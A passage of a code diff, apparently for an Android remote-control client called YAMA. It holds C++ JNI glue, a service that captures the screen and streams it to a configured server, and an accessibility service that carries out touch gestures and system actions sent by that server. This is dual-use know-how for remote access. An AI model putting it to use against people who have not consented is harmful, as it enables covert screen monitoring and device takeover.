// ACK 分支会更新 g_lastHbLogMs这里仅在没有 ACK 时兜底打印
LOGI("Heartbeat Ping=%dms", hb.Ping);
}
}
}
PostStatus("disconnected, retry...");
// Give server 2 s to remove old context from HostList; without this
// the immediate reconnect hits "already exists" and server skips SendMasterSettings.
std::this_thread::sleep_for(std::chrono::seconds(2));
}
g_running.store(false);
LOGI("ConnectionThread exit");
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid);
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
}
}
// ------------------------------------------------------------------ JNI
extern "C" {
JNIEXPORT jint JNICALL
Java_com_yama_client_YamaBridge_nativeInit(
JNIEnv* env, jobject,
jstring serverIp, jint serverPort,
jstring androidId, jstring deviceModel,
jstring androidVersion, jstring screenRes,
jstring username, jstring apkPath, jstring filesDir)
{
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
bool expected = false;
if (!g_running.compare_exchange_strong(expected, true)) {
LOGI("already running"); return -1;
}
auto toStr = [&](jstring js) -> std::string {
if (!js) return "";
const char* c = env->GetStringUTFChars(js, nullptr);
std::string s = c ? c : "";
env->ReleaseStringUTFChars(js, c);
return s;
};
g_serverIp = g_SETTINGS.ServerIP();
g_serverPort = g_SETTINGS.ServerPort();
g_androidId = toStr(androidId);
g_deviceModel = toStr(deviceModel);
g_androidVersion = toStr(androidVersion);
g_screenRes = toStr(screenRes);
g_username = toStr(username);
g_apkPath = toStr(apkPath);
g_filesDir = toStr(filesDir);
LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName优先级高于编译时 patch
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程nativeInit 调用栈)
// 里做 FindClass否则 AttachCurrentThread 的后台线程只有系统 ClassLoader
// 找不到 App 类GetStaticMethodID 拿到 null 导致后续调用崩溃。
if (g_jvm == nullptr) {
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
jclass cls = env->FindClass("com/yama/client/ControlService");
if (cls) {
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
} else {
LOGE("ControlService class not found");
}
jclass capCls = env->FindClass("com/yama/client/CaptureService");
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
if (capCls) {
g_captureClass = (jclass)env->NewGlobalRef(capCls);
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; }
if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found");
UseAndroidLog(PostStatus);
} else {
LOGE("CaptureService class not found");
}
}
}
g_bExit = S_CLIENT_NORMAL;
// g_running 已在 CAS 中设为 true不重复 store
std::thread(ConnectionThread).detach();
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
return 0;
}
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
{
LOGI("nativeStop");
g_bExit = S_CLIENT_EXIT;
g_running.store(false);
}
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
{
g_screenWidth.store(width);
g_screenHeight.store(height);
LOGI("ScreenSize=%dx%d", width, height);
}
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
JNIEnv* env, jobject,
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
{
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
if (!data || offset < 0 || size <= 0) return;
jsize arrLen = env->GetArrayLength(data);
if ((jlong)offset + size > arrLen) {
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
return;
}
jbyte* buf = env->GetByteArrayElements(data, nullptr);
if (!buf) return;
{
std::lock_guard<std::mutex> lk(g_shMutex);
for (auto* h : g_screenHandlers)
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
}
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
}
} // extern "C"

View File

@@ -0,0 +1,409 @@
package com.yama.client
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.hardware.display.DisplayManager
import android.hardware.display.VirtualDisplay
import android.media.MediaCodec
import android.media.MediaCodecInfo
import android.media.MediaFormat
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.provider.Settings
import android.util.DisplayMetrics
import android.util.Log
import android.view.WindowManager
import android.widget.Toast
class CaptureService : Service() {
companion object {
const val TAG = "YAMA"
const val CHANNEL_ID = "yama_service"
const val NOTIF_ID = 1
const val EXTRA_SERVER_IP = "server_ip"
const val EXTRA_SERVER_PORT = "server_port"
const val EXTRA_PROJECTION_RESULT = "projection_result"
const val EXTRA_PROJECTION_DATA = "projection_data"
private const val MAX_LONG_SIDE = 1080
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
@Volatile var instance: CaptureService? = null
@JvmStatic
fun onNativeStatus(msg: String) {
val svc = instance ?: return
svc.idrHandler.post {
Toast.makeText(svc, msg, Toast.LENGTH_LONG).show()
}
}
@JvmStatic
fun onNativeExit() {
val svc = instance ?: return
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
svc.idrHandler.post { svc.stopSelf() }
}
@JvmStatic
fun requestIdr() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
svc.mediaCodec?.setParameters(p)
}
}
}
/**
* 静止屏幕黑屏修复SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
* 导致编码器无输入REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
* 解决方法:将 VirtualDisplay 宽度临时改变 2px触发一次强制合成
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
*/
@JvmStatic
fun forceFirstFrame() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val vd = svc.virtualDisplay ?: return@runCatching
val w = ControlService.encW
val h = ControlService.encH
val dpi = svc.resources.displayMetrics.densityDpi
Log.d(TAG, "forceFirstFrame: resize ${w}x${h}${w+2}x${h} to trigger composition")
vd.resize(w + 2, h, dpi)
svc.idrHandler.postDelayed({
runCatching { vd.resize(w, h, dpi) }
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
}, 150)
}
}
}
}
private var mediaProjection: MediaProjection? = null
private var virtualDisplay: VirtualDisplay? = null
private var mediaCodec: MediaCodec? = null
private val idrHandler = Handler(Looper.getMainLooper())
// CS-04 fix: runCatching 包住 setParameters防止 codec 已停止时抛异常
private val idrRunnable = object : Runnable {
override fun run() {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
mediaCodec?.setParameters(p)
}
idrHandler.postDelayed(this, 1000)
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
instance = this
createNotificationChannel()
// CS-06: start with DATA_SYNC type only; upgrade to MEDIA_PROJECTION in
// onStartCommand when the token is actually available. On Android 14+
// (targetSdk 34+) calling startForeground(MEDIA_PROJECTION) without
// immediately pairing it with getMediaProjection() causes the system to
// kill the service after a ~5-second grace period — the root cause of the
// 3-9 s disconnect seen on Google TV when no screen-capture permission
// was granted.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(NOTIF_ID, buildNotification())
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
// CS-03 fix: START_STICKY 重启时 intent 为 null必须在最前面检查
if (intent == null) return START_NOT_STICKY
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
val (sw, sh) = getPhysicalResolution()
val res = "1:${sw}*${sh}"
val user = Build.USER
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
// YB-01 fix: so 库加载失败是 Error不被 catch(Exception) 捕获,需单独处理
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError首次访问 object 时触发)
val initRet: Int
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath)
} catch (e: UnsatisfiedLinkError) {
Log.e(TAG, "Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
Log.e(TAG, "Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
}
if (initRet != 0) {
Log.e(TAG, "nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
else
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
// start command that calls getMediaProjection(), as required by API 34+.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
}
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val mp = pm.getMediaProjection(projResult, projData)
mediaProjection = mp
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
if (sw > 0 && sh > 0) {
try {
startCapture(mp, sw, sh)
} catch (e: Exception) {
Log.e(TAG, "Screen capture failed: $e — running without capture")
}
} else {
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
}
} else {
Log.w(TAG, "No MediaProjection token, skipping screen capture")
}
return START_STICKY
}
override fun onDestroy() {
super.onDestroy()
instance = null
stopCapture()
YamaBridge.nativeStop()
Log.i(TAG, "CaptureService destroyed")
}
// ---------------------------------------------------------------- MediaProjection + MediaCodec
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
val dpi = resources.displayMetrics.densityDpi
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
val surface = configureEncoder(codec, encW, encH)
var configData: ByteArray? = null
codec.setCallback(object : MediaCodec.Callback() {
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
val buf = mc.getOutputBuffer(index)
if (buf == null || info.size == 0) {
mc.releaseOutputBuffer(index, false)
return
}
buf.position(info.offset)
buf.limit(info.offset + info.size)
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
configData = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
return
}
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
val frame = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME导致 SendLoop 将所有帧视为 P 帧丢弃。
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
val actualIsKey = isKey || isNaluKeyframe(frame)
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
}
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
Log.e(TAG, "MediaCodec error: $e")
}
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
Log.i(TAG, "Output format: $format")
}
})
codec.start()
mediaCodec = codec
idrHandler.postDelayed(idrRunnable, 500)
// Android 14+ requires callback registered before createVirtualDisplay()
mp.registerCallback(object : MediaProjection.Callback() {
override fun onStop() {
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
stopCapture()
// Android 14+: system auto-kills a foreground service whose mediaProjection
// is revoked. Re-declare as dataSync-only to survive without screen capture.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
}
}
}, null)
virtualDisplay = mp.createVirtualDisplay(
"YAMA",
encW, encH, dpi,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
surface, null, null
)
YamaBridge.nativeSetScreenSize(encW, encH)
ControlService.physW = physW
ControlService.physH = physH
ControlService.encW = encW
ControlService.encH = encH
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
}
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
setInteger(MediaFormat.KEY_COLOR_FORMAT,
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
setInteger(MediaFormat.KEY_PRIORITY, 0)
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
if (lowLatency) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
setInteger(MediaFormat.KEY_LATENCY, 0)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
}
if (baseline)
setInteger(MediaFormat.KEY_PROFILE,
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
}
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
val configs = listOf(
true to true,
true to false,
false to false,
)
for ((ll, bl) in configs) {
try {
val fmt = buildFmt(w, h, ll, bl)
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
return codec.createInputSurface()
} catch (e: Exception) {
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
try { codec.reset() } catch (_: Exception) {}
}
}
throw RuntimeException("MediaCodec: all encoder configs failed")
}
private fun stopCapture() {
idrHandler.removeCallbacks(idrRunnable)
runCatching { virtualDisplay?.release() }
// CS-07 fix: stop 和 release 分开stop 失败不会跳过 release 导致资源泄漏
runCatching { mediaCodec?.stop() }
runCatching { mediaCodec?.release() }
runCatching { mediaProjection?.stop() }
virtualDisplay = null
mediaCodec = null
mediaProjection = null
}
// ---------------------------------------------------------------- 辅助函数
private fun getPhysicalResolution(): Pair<Int, Int> {
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val b = wm.currentWindowMetrics.bounds
Pair(b.width(), b.height())
} else {
@Suppress("DEPRECATION")
val dm = DisplayMetrics()
@Suppress("DEPRECATION")
wm.defaultDisplay.getRealMetrics(dm)
Pair(dm.widthPixels, dm.heightPixels)
}
}
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
private fun isNaluKeyframe(data: ByteArray): Boolean {
var i = 0
while (i + 4 < data.size) {
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
val nalType = data[i + 4].toInt() and 0x1F
if (nalType == 5 || nalType == 7 || nalType == 8) return true
i += 5
} else {
i++
}
}
return false
}
/** 按长边上限等比缩小,宽高各自 2 对齐H.264 要求) */
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
val longSide = maxOf(w, h)
if (longSide <= maxLong) return Pair(w and -2, h and -2)
val scale = maxLong.toDouble() / longSide
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
NotificationManager.IMPORTANCE_LOW)
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
}
}
private fun buildNotification(): Notification {
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
Notification.Builder(this, CHANNEL_ID)
else
@Suppress("DEPRECATION") Notification.Builder(this)
return b.setContentTitle("YAMA")
.setContentText("Screen monitoring active")
.setSmallIcon(android.R.drawable.ic_menu_camera)
.build()
}
}

View File

@@ -0,0 +1,424 @@
package com.yama.client
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.annotation.SuppressLint
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.graphics.Path
import android.graphics.PointF
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.os.SystemClock
import android.util.Log
import android.view.View
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
/**
* AccessibilityService that injects touch gestures and global key actions
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
*
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
* installs on API 21+ but gesture injection only runs on 24+.
*
* Activation: Settings → Accessibility → YAMA → enable.
*/
@SuppressLint("NewApi")
class ControlService : AccessibilityService() {
companion object {
const val TAG = "YAMA_CTRL"
// ── Service instance ─────────────────────────────────────────────
@Volatile var instance: ControlService? = null
// ── Active foreground window ─────────────────────────────────────
@JvmStatic
@Volatile var activeWindow: String = "Android"
// ── Screen geometry (set by CaptureService) ──────────────────────
// Server sends coords in encoding space [0, encW) × [0, encH).
// We map them to physical screen space before dispatching.
@Volatile var physW = 1080
@Volatile var physH = 1920
@Volatile var encW = 1080
@Volatile var encH = 1920
// ── Windows message constants ────────────────────────────────────
const val WM_MOUSEMOVE = 0x0200
const val WM_LBUTTONDOWN = 0x0201
const val WM_LBUTTONUP = 0x0202
const val WM_LBUTTONDBLCLK = 0x0203
const val WM_RBUTTONDOWN = 0x0204
const val WM_MBUTTONDOWN = 0x0207
const val WM_MOUSEWHEEL = 0x020A
const val WM_KEYDOWN = 0x0100
const val WM_SYSKEYDOWN = 0x0104
/**
* Called from C++ DataProcess() via JNI on the IO thread.
* Parameters:
* message Windows WM_* constant (low 16 bits of MSG64.message)
* wParam MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
* ptX/ptY MSG64.pt in encoding-space pixels
*/
@JvmStatic
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
val svc = instance ?: run {
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
return
}
// All gesture state lives on the main thread; post there.
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
}
}
// ── Screen state receiver ─────────────────────────────────────────────
private val screenReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
}
}
}
// ── Main-thread handler ───────────────────────────────────────────────
private val handler = Handler(Looper.getMainLooper())
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
// to accessibility focus navigation — no touchscreen or root required.
private var isTV = false
private var tvLastEncX = -1f
private var tvLastEncY = -1f
private var tvAccumDX = 0f
private var tvAccumDY = 0f
private val TV_STEP = 40f // encoding-space pixels per D-pad step
// Touch-drag disambiguation: fire click on LBUTTONUP only if finger barely moved
private var tvTouchDown = false
private var tvTouchDownX = 0f
private var tvTouchDownY = 0f
private var tvTouchMoved = false
private val TV_TAP_THRESHOLD = 15f // encoding pixels — below this = tap, above = drag
// ── Left-button drag accumulator ─────────────────────────────────────
private var lbuttonDown = false
private var gestureStart = 0L
// Pairs of (millisecond offset from gesture start, screen point)
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
// ─────────────────────────────────────────────────────────────────────
// AccessibilityService lifecycle
override fun onServiceConnected() {
super.onServiceConnected()
instance = this
isTV = packageManager.hasSystemFeature("android.software.leanback")
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
}
registerReceiver(screenReceiver, filter)
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
}
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
val pkg = event.packageName?.toString()
if (!pkg.isNullOrEmpty()) activeWindow = pkg
}
}
override fun onInterrupt() {}
override fun onDestroy() {
super.onDestroy()
runCatching { unregisterReceiver(screenReceiver) }
instance = null
Log.i(TAG, "ControlService destroyed")
}
// ─────────────────────────────────────────────────────────────────────
// Event routing (runs on main thread)
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
if (isTV) { handleEventTV(message, wParam, ptX, ptY); return }
// Scale encoding-space coords to physical screen
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
if (message != WM_MOUSEMOVE)
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
when (message) {
// ── Left button: accumulate drag path, dispatch on up ─────────
WM_LBUTTONDOWN -> {
lbuttonDown = true
gestureStart = SystemClock.uptimeMillis()
strokePoints.clear()
strokePoints.add(0L to PointF(x, y))
}
WM_MOUSEMOVE -> {
if (lbuttonDown) {
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
}
}
WM_LBUTTONUP -> {
if (!lbuttonDown) return
lbuttonDown = false
val elapsed = SystemClock.uptimeMillis() - gestureStart
strokePoints.add(elapsed to PointF(x, y))
val down = strokePoints[0].second
val dx = x - down.x
val dy = y - down.y
// ── System edge-gesture detection ────────────────────────────
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
val minH = physH * 0.15f // minimum vertical travel
val minW = physW * 0.20f // minimum horizontal travel
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
when {
fromLeft || fromRight -> {
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
performGlobalAction(GLOBAL_ACTION_BACK)
}
fromTop -> {
// Right half of screen → quick settings; left half → notifications
if (down.x > physW * 0.5f) {
Log.d(TAG, "Top-swipe quick settings")
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
} else {
Log.d(TAG, "Top-swipe notifications")
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
}
}
fromBottom -> {
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_RECENTS)
} else {
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_HOME)
}
}
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
dispatchTap(down.x, down.y)
else ->
dispatchTouchGesture(strokePoints)
}
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
CaptureService.requestIdr()
strokePoints.clear()
}
// ── Double-click → two rapid taps ────────────────────────────
WM_LBUTTONDBLCLK -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val p = singlePointPath(x, y)
val gesture = GestureDescription.Builder()
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
.build()
dispatchGesture(gesture, null, null)
}
// ── Right-click → long press (600 ms) ────────────────────────
WM_RBUTTONDOWN -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
}
// ── Scroll wheel → vertical swipe ─────────────────────────────
WM_MOUSEWHEEL -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
val delta = (wParam.toInt() ushr 16).toShort().toInt()
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
val dy = if (delta > 0) 400f else -400f
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
CaptureService.requestIdr()
}
// ── Keyboard → global actions only ───────────────────────────
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
}
}
// ─────────────────────────────────────────────────────────────────────
// Helpers
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
if (points.isEmpty()) return
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path()
path.moveTo(points[0].second.x, points[0].second.y)
for (i in 1 until points.size) {
path.lineTo(points[i].second.x, points[i].second.y)
}
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
val duration = maxOf(points.last().first, 50L)
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
val ok = dispatchGesture(
GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
},
null
)
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
}
// ─────────────────────────────────────────────────────────────────────
// TV D-pad mode — translates mouse events to accessibility focus actions
private fun handleEventTV(message: Int, wParam: Long, ptX: Int, ptY: Int) {
when (message) {
WM_MOUSEMOVE -> {
if (tvLastEncX >= 0) {
tvAccumDX += ptX - tvLastEncX
tvAccumDY += ptY - tvLastEncY
while (tvAccumDX > TV_STEP) { tvMoveFocus(View.FOCUS_RIGHT); tvAccumDX -= TV_STEP }
while (tvAccumDX < -TV_STEP) { tvMoveFocus(View.FOCUS_LEFT); tvAccumDX += TV_STEP }
while (tvAccumDY > TV_STEP) { tvMoveFocus(View.FOCUS_DOWN); tvAccumDY -= TV_STEP }
while (tvAccumDY < -TV_STEP) { tvMoveFocus(View.FOCUS_UP); tvAccumDY += TV_STEP }
}
if (tvTouchDown) {
val dx = ptX - tvTouchDownX
val dy = ptY - tvTouchDownY
